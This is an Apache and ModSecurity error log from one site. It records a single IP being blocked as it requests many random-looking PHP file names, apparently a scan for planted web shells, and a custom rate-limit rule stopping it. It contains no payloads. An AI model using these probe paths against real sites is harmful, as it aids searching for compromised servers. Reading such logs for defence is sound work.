[Wed Feb 11 16:35:36.018726 2026] [:error] [pid 28073:tid 28078] [client 158.158.72.18:32538] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/knmt.php"] [unique_id "aYw_WIeHYIlOlF-DsMx7hgAAAMM"]
[Wed Feb 11 16:35:36.605772 2026] [:error] [pid 22570:tid 22605] [client 158.158.72.18:35077] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/knmt.php"] [unique_id "aYw_WCE5uSe043FXwQo6KAAAAcU"]
[Wed Feb 11 16:35:37.427720 2026] [:error] [pid 27965:tid 28012] [client 158.158.72.18:35168] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/knmt.php"] [unique_id "aYw_WdHLAUAIo8qpZyEgjQAAAEk"]
[Wed Feb 11 16:35:38.235253 2026] [:error] [pid 27965:tid 28005] [client 158.158.72.18:33912] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/knmt.php"] [unique_id "aYw_WtHLAUAIo8qpZyEgkAAAAEI"]
[Wed Feb 11 16:35:39.663265 2026] [:error] [pid 17401:tid 17412] [client 158.158.72.18:34492] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ioxi.php"] [unique_id "aYw_Ww0lHeayTY40t340cwAAAQk"]
[Wed Feb 11 16:35:40.387488 2026] [:error] [pid 28073:tid 28096] [client 158.158.72.18:33884] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ioxi.php"] [unique_id "aYw_XIeHYIlOlF-DsMx7ogAAANU"]
[Wed Feb 11 16:35:41.373384 2026] [proxy_fcgi:error] [pid 22570:tid 22607] [client 158.158.72.18:35153] AH01071: Got error 'Primary script unknown'
[Wed Feb 11 16:35:41.633959 2026] [proxy_fcgi:error] [pid 22570:tid 22606] [client 158.158.72.18:35153] AH01071: Got error 'Primary script unknown'
[Wed Feb 11 16:35:41.877519 2026] [proxy_fcgi:error] [pid 22570:tid 22604] [client 158.158.72.18:35153] AH01071: Got error 'Primary script unknown'
[Wed Feb 11 16:35:42.636044 2026] [proxy_fcgi:error] [pid 22570:tid 22614] [client 158.158.72.18:35153] AH01071: Got error 'Primary script unknown'
[Wed Feb 11 16:35:42.881067 2026] [proxy_fcgi:error] [pid 22570:tid 22622] [client 158.158.72.18:35153] AH01071: Got error 'Primary script unknown'
[Wed Feb 11 16:35:43.125204 2026] [proxy_fcgi:error] [pid 22570:tid 22602] [client 158.158.72.18:35153] AH01071: Got error 'Primary script unknown'
[Wed Feb 11 16:35:43.370009 2026] [proxy_fcgi:error] [pid 22570:tid 22605] [client 158.158.72.18:35153] AH01071: Got error 'Primary script unknown'
[Wed Feb 11 16:35:43.613628 2026] [proxy_fcgi:error] [pid 22570:tid 22619] [client 158.158.72.18:35153] AH01071: Got error 'Primary script unknown'
[Wed Feb 11 16:35:43.871723 2026] [proxy_fcgi:error] [pid 22570:tid 22615] [client 158.158.72.18:35153] AH01071: Got error 'Primary script unknown'
[Wed Feb 11 16:35:44.272202 2026] [proxy_fcgi:error] [pid 22570:tid 22616] [client 158.158.72.18:35153] AH01071: Got error 'Primary script unknown'
[Wed Feb 11 16:35:44.547527 2026] [:error] [pid 22570:tid 22617] [client 158.158.72.18:35153] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xxw.php"] [unique_id "aYw_YCE5uSe043FXwQo6PQAAAdE"]
[Wed Feb 11 16:35:45.595487 2026] [:error] [pid 27964:tid 27982] [client 158.158.72.18:35608] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xxw.php"] [unique_id "aYw_Ycp0XgWYHLcQtEiWTAAAAAc"]
[Wed Feb 11 16:35:46.236429 2026] [:error] [pid 27964:tid 27993] [client 158.158.72.18:35595] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xxw.php"] [unique_id "aYw_Ysp0XgWYHLcQtEiWTQAAABI"]
[Wed Feb 11 16:35:47.215527 2026] [:error] [pid 22537:tid 22539] [client 158.158.72.18:35654] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xxw.php"] [unique_id "aYw_Yyfg2TagwM3bvQPGZwAAAUA"]
[Wed Feb 11 16:35:48.020285 2026] [:error] [pid 22570:tid 22609] [client 158.158.72.18:35616] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/term.php"] [unique_id "aYw_ZCE5uSe043FXwQo6QAAAAck"]
[Wed Feb 11 16:35:48.789705 2026] [:error] [pid 28073:tid 28092] [client 158.158.72.18:34503] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/term.php"] [unique_id "aYw_ZIeHYIlOlF-DsMx7zgAAANE"]
[Wed Feb 11 16:35:49.572961 2026] [:error] [pid 28073:tid 28099] [client 158.158.72.18:35085] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/term.php"] [unique_id "aYw_ZYeHYIlOlF-DsMx71AAAANg"]
[Wed Feb 11 16:35:50.516443 2026] [:error] [pid 27966:tid 28033] [client 158.158.72.18:35182] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/term.php"] [unique_id "aYw_Zl8HJ9ydyf0SPu55WQAAAIM"]
[Wed Feb 11 16:35:51.201142 2026] [:error] [pid 22570:tid 22618] [client 158.158.72.18:35668] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/num.php"] [unique_id "aYw_ZyE5uSe043FXwQo6RAAAAdI"]
[Wed Feb 11 16:35:51.703038 2026] [:error] [pid 27964:tid 27998] [client 158.158.72.18:34543] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/num.php"] [unique_id "aYw_Z8p0XgWYHLcQtEiWXAAAABc"]
[Wed Feb 11 16:35:52.239681 2026] [:error] [pid 27965:tid 28024] [client 158.158.72.18:35122] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/num.php"] [unique_id "aYw_aNHLAUAIo8qpZyEgswAAAFU"]
[Wed Feb 11 16:35:52.836422 2026] [:error] [pid 22570:tid 22619] [client 158.158.72.18:35650] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/num.php"] [unique_id "aYw_aCE5uSe043FXwQo6SgAAAdM"]
[Wed Feb 11 16:35:53.418118 2026] [:error] [pid 27964:tid 27981] [client 158.158.72.18:35146] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file.php"] [unique_id "aYw_acp0XgWYHLcQtEiWXgAAAAY"]
[Wed Feb 11 16:35:54.064604 2026] [:error] [pid 28073:tid 28085] [client 158.158.72.18:33385] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file.php"] [unique_id "aYw_aoeHYIlOlF-DsMx76AAAAMo"]
[Wed Feb 11 16:35:54.714306 2026] [:error] [pid 22537:tid 22559] [client 158.158.72.18:34508] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file.php"] [unique_id "aYw_aifg2TagwM3bvQPGbAAAAVQ"]
[Wed Feb 11 16:35:55.221922 2026] [:error] [pid 22570:tid 22610] [client 158.158.72.18:35699] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file.php"] [unique_id "aYw_ayE5uSe043FXwQo6UwAAAco"]
[Wed Feb 11 16:35:55.944665 2026] [:error] [pid 27965:tid 28017] [client 158.158.72.18:35665] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/403.php"] [unique_id "aYw_a9HLAUAIo8qpZyEgygAAAE4"]
[Wed Feb 11 16:35:56.558079 2026] [:error] [pid 27964:tid 27982] [client 158.158.72.18:35192] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/403.php"] [unique_id "aYw_bMp0XgWYHLcQtEiWZQAAAAc"]
[Wed Feb 11 16:35:57.094628 2026] [:error] [pid 28073:tid 28093] [client 158.158.72.18:35632] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/403.php"] [unique_id "aYw_bYeHYIlOlF-DsMx8AQAAANI"]
[Wed Feb 11 16:35:57.654601 2026] [:error] [pid 28073:tid 28094] [client 158.158.72.18:35116] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/403.php"] [unique_id "aYw_bYeHYIlOlF-DsMx8CAAAANM"]
[Wed Feb 11 16:35:58.666483 2026] [:error] [pid 28073:tid 28098] [client 158.158.72.18:35674] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ccu.php"] [unique_id "aYw_boeHYIlOlF-DsMx8CwAAANc"]
[Wed Feb 11 16:35:59.180225 2026] [:error] [pid 27966:tid 28047] [client 158.158.72.18:34523] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ccu.php"] [unique_id "aYw_b18HJ9ydyf0SPu55gQAAAJE"]
[Wed Feb 11 16:36:00.008104 2026] [:error] [pid 27966:tid 28035] [client 158.158.72.18:35086] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ccu.php"] [unique_id "aYw_cF8HJ9ydyf0SPu55hAAAAIU"]
[Wed Feb 11 16:36:00.682054 2026] [:error] [pid 28073:tid 28080] [client 158.158.72.18:35105] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ccu.php"] [unique_id "aYw_cIeHYIlOlF-DsMx8EQAAAMU"]
[Wed Feb 11 16:36:01.199039 2026] [:error] [pid 27965:tid 28017] [client 158.158.72.18:35680] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/155.php"] [unique_id "aYw_cdHLAUAIo8qpZyEg2gAAAE4"]
[Wed Feb 11 16:36:01.681314 2026] [:error] [pid 22537:tid 22558] [client 158.158.72.18:35679] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/155.php"] [unique_id "aYw_cSfg2TagwM3bvQPGcQAAAVM"]
[Wed Feb 11 16:36:02.463593 2026] [:error] [pid 22569:tid 22594] [client 158.158.72.18:35099] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/155.php"] [unique_id "aYw_csAhSI7iX9G3enj9UgAAAZU"]
[Wed Feb 11 16:36:03.083469 2026] [:error] [pid 22569:tid 22583] [client 158.158.72.18:35678] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/155.php"] [unique_id "aYw_c8AhSI7iX9G3enj9UwAAAYo"]
[Wed Feb 11 16:36:03.714459 2026] [:error] [pid 27965:tid 28027] [client 158.158.72.18:35100] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xsox.php"] [unique_id "aYw_c9HLAUAIo8qpZyEg5AAAAFg"]
[Wed Feb 11 16:36:04.294354 2026] [:error] [pid 22569:tid 22580] [client 158.158.72.18:35076] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xsox.php"] [unique_id "aYw_dMAhSI7iX9G3enj9YwAAAYc"]
[Wed Feb 11 16:36:04.782224 2026] [:error] [pid 27964:tid 27989] [client 158.158.72.18:35629] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xsox.php"] [unique_id "aYw_dMp0XgWYHLcQtEiWdgAAAA4"]
[Wed Feb 11 16:36:05.265237 2026] [:error] [pid 28073:tid 28097] [client 158.158.72.18:35185] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xsox.php"] [unique_id "aYw_dYeHYIlOlF-DsMx8HQAAANY"]
[Wed Feb 11 16:36:05.815707 2026] [:error] [pid 22570:tid 22619] [client 158.158.72.18:35704] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wen.php"] [unique_id "aYw_dSE5uSe043FXwQo6dAAAAdM"]
[Wed Feb 11 16:36:06.475743 2026] [:error] [pid 27966:tid 28030] [client 158.158.72.18:1953] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wen.php"] [unique_id "aYw_dl8HJ9ydyf0SPu55iQAAAIA"]
[Wed Feb 11 16:36:06.988090 2026] [:error] [pid 27966:tid 28032] [client 158.158.72.18:35592] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wen.php"] [unique_id "aYw_dl8HJ9ydyf0SPu55igAAAII"]
[Wed Feb 11 16:36:07.544447 2026] [:error] [pid 27966:tid 28039] [client 158.158.72.18:35633] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wen.php"] [unique_id "aYw_d18HJ9ydyf0SPu55iwAAAIk"]
[Wed Feb 11 16:36:08.116886 2026] [:error] [pid 22569:tid 22584] [client 158.158.72.18:35108] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bgymj.php"] [unique_id "aYw_eMAhSI7iX9G3enj9hgAAAYs"]
[Wed Feb 11 16:36:09.103298 2026] [:error] [pid 22570:tid 22606] [client 158.158.72.18:1935] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bgymj.php"] [unique_id "aYw_eSE5uSe043FXwQo6fgAAAcY"]
[Wed Feb 11 16:36:09.702456 2026] [:error] [pid 27965:tid 28005] [client 158.158.72.18:35128] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bgymj.php"] [unique_id "aYw_edHLAUAIo8qpZyEhAgAAAEI"]
[Wed Feb 11 16:36:10.224676 2026] [:error] [pid 28073:tid 28089] [client 158.158.72.18:35080] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bgymj.php"] [unique_id "aYw_eoeHYIlOlF-DsMx8KAAAAM4"]
[Wed Feb 11 16:36:10.773838 2026] [:error] [pid 22569:tid 22590] [client 158.158.72.18:35172] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gk.php"] [unique_id "aYw_esAhSI7iX9G3enj9iQAAAZE"]
[Wed Feb 11 16:36:11.855919 2026] [:error] [pid 28073:tid 28075] [client 158.158.72.18:35584] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gk.php"] [unique_id "aYw_e4eHYIlOlF-DsMx8LgAAAMA"]
[Wed Feb 11 16:36:12.933637 2026] [:error] [pid 27965:tid 28003] [client 158.158.72.18:36390] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gk.php"] [unique_id "aYw_fNHLAUAIo8qpZyEhDAAAAEA"]
[Wed Feb 11 16:36:13.956047 2026] [:error] [pid 28073:tid 28098] [client 158.158.72.18:36388] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gk.php"] [unique_id "aYw_fYeHYIlOlF-DsMx8QQAAANc"]
[Wed Feb 11 16:36:14.568907 2026] [:error] [pid 27964:tid 27999] [client 158.158.72.18:36478] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zoo.php"] [unique_id "aYw_fsp0XgWYHLcQtEiWiwAAABg"]
[Wed Feb 11 16:36:15.084680 2026] [:error] [pid 22570:tid 22621] [client 158.158.72.18:35651] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zoo.php"] [unique_id "aYw_fyE5uSe043FXwQo6igAAAdU"]
[Wed Feb 11 16:36:15.704430 2026] [:error] [pid 28073:tid 28082] [client 158.158.72.18:35660] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zoo.php"] [unique_id "aYw_f4eHYIlOlF-DsMx8TwAAAMc"]
